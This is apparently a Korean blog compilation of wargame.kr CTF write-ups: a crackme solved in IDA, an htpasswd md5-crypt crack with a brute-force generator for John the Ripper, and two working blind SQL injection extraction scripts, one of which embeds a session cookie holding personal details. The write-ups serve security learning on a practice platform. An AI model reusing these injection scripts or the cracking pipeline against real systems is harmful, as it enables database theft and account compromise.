X64DBG와 IDA를 이용하여 문제를 풀었는데, 확실히 IDA가 훨~~~씬 좋은 것 같습니다.(푸는 속도 면에서)


이번에도 Reversing 문제를 IDA를 이용하여 풀이를 진행하도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


간단한 리버싱 문제라고 합니다. 문제로 들어가면 exe 파일을 다운로드 받을 수 있는데 바로 문제풀이로 들어가보도록 하겠습니다.



 

 문제 풀이


문제를 풀기 위해서는 IDA 32bit를 이용하였습니다.



 

 IDA 32Bit로 문제 오픈


문제를 오픈하고, 바로 [Shift + F12]를 눌러 스트링 값을 검색하였습니다.


프로그램을 열어 아무 값이나 입력 후 AUTH를 누르게 되면 wrong password 라는 값을 뱉어냅니다.

문자열이 난독화되어 있지 않다면, 나오겠지요.



이제 aWrongPassword 값을 클릭하여 [x - Jump to xref] 버튼을 눌러 역참조로 들어갑니다.


그렇게 되면 다음과 같은 IDA View를 볼 수 있습니다.

여기서 분기문으로 나뉘게 되는데, 그림에서 보이는 세 가지 블록 중 아무 곳이나 클릭하여 [F5 - Pseudocode View]로 들어가줍니다.

(if 조건문으로 나뉘었을 뿐 Pseudocode 를 누르게 되면 동일한 코드 영역임을 볼 수 있음)



아래와 같은 코드가 나오게 될 것입니다.

이때 if 문 안에 있는 값은 INT 값으로 나오게 되지만, 임의로 HEX 값으로 바꿔서 캡처하였습니다.


아마 X64DBG나 Ollydbg와 같은 툴을 이용하여 쭉 읽다보면, 마지막에 cmp 부분에 0xBADBABE와 비교하는 곳을 발견하실 수 있을 것입니다.

그 위의 부분은 계산하는 부분이구요.


아래의 코드에서 변수 설명을 먼저 하도록 하겠습니다.

v6 = 프로그램을 실행한 localhost의 month 값(struct tm에서 tm.mon 은 0 ~ 11이기 대문에 값에 +1을 해준 것입니다.)

v5 = 사용자 입력값(v3에서 +116이 있는데, 헷갈리지 마세용 값의 변화를 주는 거 아닙니당)



고정된 값 0xFFFCECC9 * 몇 월인지 + 사용자 입력 값이 0xBADBABE이면 문제가 풀리는 것 같습니다.


문제 풀이를 직관적으로 보고자, 간단하게 코드를 작성하고 풀이를 진행해보았습니다.

import datetime

current_time = datetime.datetime.now()
current_mon  = current_time.month

compare_hex  = 0xFFFCECC9
result_hex   = 0xBADBABE

INT          = (compare_hex * current_mon)
HEX          = hex((compare_hex * current_mon))
HEX_8        = HEX[len(HEX)-8:]

diff_INT     = 0x100000000 - int(HEX_8, 16)
diff_HEX     = hex(diff_INT)

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('[0xFFFCECC9 * current_month]')
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('INT          : ', INT)
print('HEX          : ', HEX)
print('HEX_8        : ', HEX_8)
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('[0x100000000 - HEX_8]')
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('diff_INT     : ', diff_INT)
print('diff_HEX     : ', diff_HEX)
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('INT+diff_INT : ', INT+diff_INT)
print('HEX+diff_HEX : ', hex(INT+diff_INT))
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('[(0xFFFCECC9 * current_month) + \n(0x100000000 - int(HEX_8,16)) + \n0x0BADBABE]')
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('result_INT   : ', ((INT + diff_INT) + result_hex))
print('result_HEX   : ', hex(((INT + diff_INT) + result_hex)))
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('[+] Key      : ', diff_INT + result_hex)


위의 코드를 실행시키면 다음과 같이 나옵니다.


6월 달에 풀이한 값은 197144072입니다.

이걸 그대로 입력해보면 다음과 같이 결과가 나오게 됩니다.


끝!!


Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 crack crack crack it 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 이 문제는 linux의 .htaccess 크랙이라고 하면서 htpasswd 파일을 제공합니다.

물론 htpasswd 파일을 해독하는 것은 어렵지 않지만, Bruteforce를 통해 공격할 시, 시간이 오래걸린다는 단점이 있습니다.


다행이도 문제를 빨리 풀기 위해 제공된 문자열이 있어서 빨리 풀 수 있습니다.


또한 문제 풀이와 앞서 제가 한 삽질에 대해 공유해보려 합니다.



 

 문제 이해


문제는 다음과 같습니다.


문제에서는 .htaccess 를 크랙하라고 합니다.

여기서 bruteforce 공격이 가능한지 묻고 있습니다.


허허허허허허허허허허허


문제를 들어가 살펴보도록 합시다.


htpasswd 파일을 다운로드할 수 있으며, 비밀번호를 알아내서 입력하라고 합니다.


다행이 문제에서 G4HeulB라는 값이 문자열 앞에 있다는 것을 알려주고, 문자 가지 수도 줄여주는 것을 볼 수 있습니다.


영어 lowercase와 숫자들로 이루어진 값이 얼마나 길게 비밀번호가 있을지는 모르지만 일단 bruteforcing을 수행해야 함은 명백합니다.



위의 값은 htpasswd 파일 내에 입력된 값입니다. 별로 큰 의미는 없어보입니다.

(사실은 위의 구조를 먼저 파악하고 어떤 걸로 할지 삽질을 조금 수행했습니다.... hashcat이라든가...)





 

 문제 풀이


문제를 풀기 위해서는 적절한 크랙 도구를 활용할 줄 알아야합니다.

다만 값을 계속 넘겨줘야 하니 Python 소스도 작성해야 합니다.


문제 풀이에 앞서 hashcat으로 수행한 삽질을 공유하려 합니다.

풀이를 보시려면 [문제 풀이] 소제목으로 넘어가시면 될 것 같습니다.


 

 Hashcat 삽질


구조를 파악하기 위해 먼저 파일을 열어보니 $1$ 을 기준으로 살펴보았습니다.


그런데 $apr1$은 있는데 $1$에 대한 구조 정보는 나오지 않더군요.

여기서 좀 더 검색해보니 apache: using $1$ md5 salt in place of $apr1$라는 게시글이 있더군요.


게시글 링크 : https://discussions.apple.com/thread/1356105


이 글을 요약하면 $1$가 아니라 $apr1$를 포함하여 htpasswd를 만들어야 하는데, 요것이 뭔지 모르겠지만 아마 apache2.0..몇 버전에서 나온 게 아니냐? 하는 글입니다.


그래서 apache2.0 version htpasswd 라고 검색했더니 다음과 같은 글이 나와서 궁금증을 해결하였습니다.


게시글 링크 : https://foswiki.org/Development/ImproveHtPaswdUserFlexibility


이 글에서 $1$의 내용을 한 그림으로 요약할 수 있을 것 같습니다.


표에서 crypt-MD5로 생성한 htpasswd 값에는 $1$ 값이 들어가 있고 admin:$1$3iuE5z/b$JHyXMzQOIq3cl6WlEMoZC.와 같은 예시가 있다고 말하고 있습니다.


이 값은 제공된 htpasswd 값과 일치하는 형태입니다.


hashcat의 decrypt mode에서 md5를 검색해보면 다음과 같이 나옵니다.


root@kkamikoon:~/wargame.kr/21. crack crack crack it# hashcat -h | grep md5

     10 | md5($pass.$salt)                                 | Raw Hash, Salted and/or Iterated

     20 | md5($salt.$pass)                                 | Raw Hash, Salted and/or Iterated

     30 | md5(utf16le($pass).$salt)                        | Raw Hash, Salted and/or Iterated

     40 | md5($salt.utf16le($pass))                        | Raw Hash, Salted and/or Iterated

   3800 | md5($salt.$pass.$salt)                           | Raw Hash, Salted and/or Iterated

   3710 | md5($salt.md5($pass))                            | Raw Hash, Salted and/or Iterated

   4010 | md5($salt.md5($salt.$pass))                      | Raw Hash, Salted and/or Iterated

   4110 | md5($salt.md5($pass.$salt))                      | Raw Hash, Salted and/or Iterated

   2600 | md5(md5($pass))                                  | Raw Hash, Salted and/or Iterated

   3910 | md5(md5($pass).md5($salt))                       | Raw Hash, Salted and/or Iterated

   4300 | md5(strtoupper(md5($pass)))                      | Raw Hash, Salted and/or Iterated

   4400 | md5(sha1($pass))                                 | Raw Hash, Salted and/or Iterated

   4700 | sha1(md5($pass))                                 | Raw Hash, Salted and/or Iterated

   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server

    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems

   6300 | AIX {smd5}                                       | Operating Systems 


기존에 htpasswd라면 -m 1600 모드를 이용하여 복호화를 시도할 수 있었을 것입니다.

하지만 해당 파일은 crypt-md5로 되어 있기 때문에, 불가능합니다.ㅠㅠ


관련 라이브러리 설명은 다음 링크를 참조해주세용.


md5_crypt 라이브러리 : https://passlib.readthedocs.io/en/stable/lib/passlib.hash.md5_crypt.html#passlib.hash.md5_crypt

apr1_md5_crypt 라이브러리 : https://passlib.readthedocs.io/en/stable/lib/passlib.hash.apr_md5_crypt.html

안전하다고 알려진 라이브러리 : https://passlib.readthedocs.io/en/stable/narr/quickstart.html#recommended-hashes



 

 문제 풀이


이 문제를 해결하기 위해서는 md5_crypt를 공격할 수 있는 툴인 john the ripper를 사용하면 됩니다.

john은 kali 리눅스에 기본적으로 설치되어 있는 것으로 알고 있습니다.

저는 ubuntu 18.04에서 python 소스와 함께 공격을 수행하였습니다.


이 python3 소스를 이용하여 출력되는 각각의 값을 리눅스의 파이프를 이용하여 standard input으로 john the ripper에 넣어줍니다.

import itertools, string

character_set = string.ascii_lowercase + string.digits

min_len, max_len = 2, 10

for l in range(min_len, max_len):
    for m in itertools.product(character_set, repeat=l):
        print('G4HeulB' + ''.join(m)



끝!


Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 lonely_guy 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 order by를 이용하여 Blind SQLi를 이용해야 하는 문제인만큼 간단하지만은 않은 문제입니다.

더군다나 삽질하면서 연구해보았지만 제대로 사용할 수 없어서 시간을 많이 소비했습니다. ㅠㅠ




 

 문제 이해


문제는 다음과 같습니다.

문제에서 Blind SQLi를 이용하라고 하고 order by를 이용하라고 합니다.


문제로 들어가면 다음과 같은 표가 나타나게 됩니다.

따로 입력하거나 출력이 바뀌지는 않도록 되어 있습니다.


view-source를 보면 다음과 같은 소스가 나타납니다.


<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>


9번 라인을 보면 sort 라는 값을 POST로 받는 것을 볼 수 있습니다.

또한 43번 라인을 보면 그 값이 order by 뒤에 붙는 것을 알 수 있습니다.


다만, order by reg_date 뒤에 붙기 때문에 조금 까다롭게 조건을 설정해야 합니다.



 

 문제 풀이


문제를 풀기 앞서, 삽질한 연구 결과 먼저 작성하려 합니다.(까먹기 전에)

풀이는 [문제 풀이] 소제목으로 넘어가시면 될 것 같습니다.


 

 order by 삽질


order by는 sql injection을 수행할 때 다음과 같은 방법으로 사용할 수 있습니다.


select * from table_name order by 1;


여기서 뒤에 숫자를 하나씩 늘려서 컬럼의 개수가 몇 개인지 알아내는 것입니다.

그렇다면 여기서, order by 1 과 같이 숫자를 이용하여 정렬을 바꿔볼까 했습니다.


select * from guys_tbl order by reg_date, if(1=1, 2, 1);


위와 같은 쿼리를 만들어 날려보았는데, reg_date 뒤의 값이 컬럼 인덱스로 인식되지 않습니다.

단, select * from guys_tbl order by reg_date, 2; 와 같이 쿼리를 날리게 되면 표의 값이 변하는 것을 볼 수 있습니다.


원인 대강 예상해보면, if문으로 리턴된 값은 단순히 int 값으로 인식하는 것 같습니다.(컬럼 인덱스가 아닌 단순 값으로 인식함)


따라서 컬럼 인덱스로 값을 넣어줄 수 없다는 것을 깨달았습니다... ㅠㅠ

그렇다면 여기서 order by 뒤에는 적절한 컬럼 이름과 함께 값을 대입해줘야 합니다.



 

 문제 풀이


여기서 저는 guessing으로 'the list of guys that need a girfriend' 부분의 컬럼 이름이 name이겠거니 하여 name으로 값을 넣어줬습니다.

여기서 order by로 지정된 값은 가장 아래로 내려가게 됩니다.


예를 들면 order by num, name='date' 라고 하게 되면 이름이 'date'로 되어 있는 값이 가장 아래로 내려가게 됩니다.

이 원리를 이용하여 문제를 풀어보려 합니다.


하지만, 문제에서 입력된 sort 값을 mysql_real_escape_string() 함수를 통해 필터링을 주었기 때문에 따옴표는 사용이 불가능합니다.


여기서는 hex 값으로 우회가 가능합니다.


따라서 sort 안에 들어갈 값은 다음과 같습니다.


, if([값을 알아내기 위한 쿼리], name=0x6368756c2d7375, name=0x6d696e2d7375)


참일 경우 name=0x6368756c2d7375 즉, 철수가 아래로 내려오도록 하였습니다.


작성한 코드는 다음과 같습니다.

import requests
import string
import sys

sess    = requests.session()
URL     = 'http://wargame.kr:8080/lonely_guys/index.php'
headers = {'Cookie': 'chat_id=+r; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22231ebc2315c0dcfeffc74819c4e6535d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.217.38.14%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1554693195%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22KKAMIKOON%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22hjs5576%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22eng%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%224558%22%3B%7D6cb3f1381b377d42ddc075c97511e0d1b81cc668'}

# ==============================================================
# table ==> name, 
# column length == 3.  ==> order by 1,2,3,4(error)
# can acceptable hex values. ==> 'min-su' ==> 0x6d696e2d7375


# Get Column Counts   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
ColumnName = b'authkey'

TableLength = 0

hexColumnName = ColumnName.hex()

for i in range(1, 100):
    payload = {'sort': ', if((select length(table_name) from information_schema.columns where column_name={})={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format('0x'+hexColumnName,i)}
    res     = requests.post(URL, data=payload)

    if 'chul-sucouple    ' in res.text:
        # True : chul-su
        TableLength = i
        print('[=] Find Table Length  : %d' % TableLength)
        break
    else:
        # True : min-su
        pass

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')

TableName = ''

for j in range(1, TableLength+1):

    for i in range(0, 129):
        payload = {'sort': ', if((select substr(table_name,{},1) from information_schema.columns where column_name={})={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(j,'0x'+hexColumnName,hex(i))}
        res     = requests.post(URL, data=payload)

        if 'chul-sucouple    ' in res.text:
            # True : chul-su
            TableName += chr(i)
            print('[=] Find Table Word  : %s' % (TableName))
            break
        else:
            # True : min-su
            pass

print('')
print('[=] Find Table Name  : %s' % (TableName))

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')


# Get Element Length  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

ElementLength = 0

for i in range(1,100):
    payload = {'sort': ', if((select length(authkey) from authkey limit 0,1)={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(i)}
    res     = requests.post(URL, data=payload)  

    if 'chul-sucouple    ' in res.text:
        # True : chul-su
        ElementLength = i
        print('[=] Find Element Length : %d' % (ElementLength))
        break
    else:
        # True : min-su
        pass

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')

# Get Element Data    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

ElementData = ''

for j in range(1, ElementLength+1):
    for i in range(1, 129):
        payload = {'sort': ', if((select substr(authkey,{},1) from authkey limit 0,1)={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(j,hex(i))}
        res     = requests.post(URL, data=payload)  

        if 'chul-sucouple    ' in res.text:
            # True : chul-su
            ElementData += chr(i)
            print('[=] Find Word : %s   :  %s' % (chr(i), ElementData))
            break
        else:
            # True : min-su
            pass


print('[=] Find Element Data : %s' % (ElementData))


위의 소스를 쭉 돌리다 보면 다음과 같은 형태로 나오게 될 것입니다.




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 ip log table 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

 

이번에는 Blind SQLi를 이용해야 하는 문제인만큼 간단하지만은 않은 문제입니다.

참과 거짓이 반환되는 영역을 찾아야 하기 때문에 시간도 오래걸리고...(제가 작성한 코드는 시간이 오래 걸리더군요..)

 

문제 풀이를 진행해보겠습니다.

 

 
   문제 이해

 

문제는 다음과 같습니다.

 

문제에서 Blind SQLi를 이용하라고 하고 Ascii 값을 Date로 만들 수 있다고 합니다.

흠.. 일단 Blind SQL Injection을 위한 벡터를 찾기 위해 참과 거짓으로 구분되어 반환되는 영역을 찾아보도록 합시다.

 

문제로 들어가면 다음과 같은 표가 나타나게 됩니다.

login을 할 수 있는 부분과 클릭할 수 있는 표들이 보입니다.

로그인을 수행하는 부분은 참일 때 로그인 되고, 아닐 때는 로그인이 안 되는 것이지요.

이 부분은 참과 거짓이라기 보다는 참일 때와 거짓일 때가 구분이 아예 안 되는 부분입니다.(비번이 맞아야 참이니까... Bruteforcing 입니다.)

 

그렇다면 다른 부분을 찾아봐야 하는데...

표의 행을 클릭하면 다음과 같은 화면이 나타납니다.

여기서 POST로 전송하는 idx 값을 임의로 거짓이 되도록 조작해보니 다음과 같은 결과가 나타납니다.

 

이 부분에서 알 수 있었던 건 참일 때 1970-01-01이라는 날짜가 아니라는 것!

 

- 참일 때 1970-01-01이 아님

- 거짓일 때 1970-01-01임

 

이 부분을 이용하여 문제를 풀어보도록 하겠습니다.

 

 

   문제 풀이

 

문제를 풀기 위해서는 코드를 작성해야 하는데...

코드 이해는 LOS 때 자주 해보았기 때문에 여기서는 코드 작성만 해보겠습니다.

 

순서는 SCHEMA 알아내기, TABLE 알아내기, COLUMN 알아내기 값 알아내기 입니다.

 

아래의 코드는 쭉 돌리면 나오기는 하지만, 편의를 위해 미리 count 수를 조작해두었습니다.

 

또한 이번 문제에서는 WHERE, LIKE가 필터링 되어 있어, 이렇게 무식한 Blind SQLi를 진행해야 했습니다...ㅠㅠ

'''
# GET SCHEMA Counts and Schema Name 
# ip_log_table, information_schema

# 유실된 소스.... ㅠㅠ


            if bit is 0:
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        #print('Find TABLE_NAME[{}][{}]  [=] :  {}    {}'.format(schema_count-k, j, chr(int(bit,2)), bit))
        tmp_schema_name += chr(int(bit,2))

    print("GET SCHEMA_NAME[{}]       [=] : {}".format(schema_count-k, tmp_schema_name))
    schema_name.append(tmp_schema_name)
'''


repeat_count        = 2

table_count         = 2
table_name_length   = []
table_name          = []

column_count        = 700
column_name_length  = []
column_name         = []

value_count         = 0
value_name_length   = []
value_name          = []

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COUNT OF TABLEs =-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COUNT OF TABLEs
Done = False

while not Done:
    payload = "1 or (select count(table_name)=" + str(table_count) + " from information_schema.tables)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', table_count)
        table_count += 1
        pass
    else:
        print("Find Count of TABLE     [=] : ", table_count)
        Done = True    


table_count -= 1

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LEGNTH OF TABLE NAME -=-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF TABLE NAME

#for j in range(1, table_count+1):
for j in range(1, repeat_count+1): # 너무 많을 수 있으니...
    for i in range(1, 100):
        payload = "1 or (select length(table_name)={} from information_schema.tables limit {},1)".format(i, table_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of TABLE_NAME[{}] : {}".format(table_count-j, i))
            table_name_length.append(i)
            break


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LEGNTH TABLE NAMEs -=-=-=-=-=-=-=-=-")
# =================================================================
# GET TABLE NAMEs
bitLen     = 8


#for k in range(table_count):
for k in range(repeat_count): # 너무 많을 수 있으니...

    tmp_table_name = ""

    # table name length 
    for j in range(1, table_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr(table_name,{},1))),{},0),{},1)=1) from information_schema.tables limit {},1)".format(j, bitLen, i, table_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        #print('Find TABLE_NAME[{}][{}]  [=] :  {}    {}'.format(table_count-k, j, chr(int(bit,2)), bit))
        tmp_table_name += chr(int(bit,2))

    print("GET TABLE_NAME[{}]       [=] : {}".format(table_count-k, tmp_table_name))
    table_name.append(tmp_table_name)


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COLUMN COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COLUMN COUNTs
Done = False

while not Done:
    payload = "1 or (select count(column_name)="+str(column_count)+" from information_schema.columns)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)    

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', column_count)
        column_count += 1
        pass
    else:
        print("Find Count of COLUMN    [=] : ", column_count)
        Done = True

column_count -= 1


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF COLUMN NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF COLUMN NAME

for j in range(repeat_count+5):
    for i in range(1, 100):
        payload = "1 or (select length(column_name)={} from information_schema.columns limit {},1)".format(i, column_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of COLUMN_NAME[{}] : {}".format(column_count-j, i))
            column_name_length.append(i)
            break

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COLUMN NAMEs -=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COLUMN NAMEs
bitLen     = 8


for k in range(repeat_count+5):

    tmp_column_name = ""

    # column name length 
    for j in range(1, column_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr(column_name,{},1))),{},0),{},1)=1) from information_schema.columns limit {},1)".format(j, bitLen, i, column_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        tmp_column_name += chr(int(bit,2))

    print("GET COLUMN_NAME[{}]      [=] : {}".format(column_count-k, tmp_column_name))
    column_name.append(tmp_column_name)


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("SELECT COLUMN NAME -=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# SELECT COLUMN NAME

for i, cn in enumerate(column_name):
    print('COLUMN_NAME [{}] : {}'.format(i, cn))

selected_column = int(input("Select COLUMN NAME(num) : "))


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUES COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUES COUNTs

Done = False

while not Done:
    payload = "1 or (select count(*)="+str(value_count)+" from admin_table)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)    

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', value_count)
        value_count += 1
        pass
    else:
        print("Find Count of VALUEs    [=] : ", value_count)
        Done = True

value_count -= 1

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF VALUEs NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF VALUEs NAME

for j in range(value_count+1):
    for i in range(1, 100):
        payload = "1 or (select length({})={} from admin_table limit {},1)".format(column_name[selected_column], i, value_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of VALUEs_NAME[{}] : {}".format(value_count-j, i))
            value_name_length.append(i)
            break


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUEs =-=-=--=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUEs
bitLen     = 8

for k in range(value_count+1):

    tmp_value_name = ""

    # column name length 
    for j in range(1, value_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr({},{},1))),{},0),{},1)=1) from admin_table limit {},1)".format(column_name[selected_column], j, bitLen, i, value_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        tmp_value_name += chr(int(bit,2))
        print('GET VALUE         [=] : {}     {}'.format(tmp_value_name, bit))

    print("GET VALUE[{}]         [=] : {}".format(value_count-k, tmp_value_name))
    value_name.append(tmp_value_name)

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("SELECT COLUMN NAME -=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# SELECT COLUMN NAME

for i, cn in enumerate(column_name):
    print('COLUMN_NAME [{}] : {}'.format(i, cn))
    
selected_column = int(input("Select COLUMN NAME( 0 ~ ? ) : "))


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUES COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUES COUNTs

Done = False

while not Done:
    payload = "1 or (select count(*)="+str(value_count)+" from admin_table)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)    

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', value_count)
        value_count += 1
        pass
    else:
        print("Find Count of VALUEs    [=] : ", value_count)
        Done = True

value_count -= 1

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF VALUEs NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF VALUEs NAME

for j in range(value_count+1):
    for i in range(1, 100):
        payload = "1 or (select length({})={} from admin_table limit {},1)".format(column_name[selected_column], i, value_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of VALUEs_NAME[{}] : {}".format(value_count-j, i))
            value_name_length.append(i)
            break


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUEs =-=-=--=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUEs
bitLen     = 8

for k in range(value_count+1):

    tmp_value_name = ""

    # column name length 
    for j in range(1, value_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
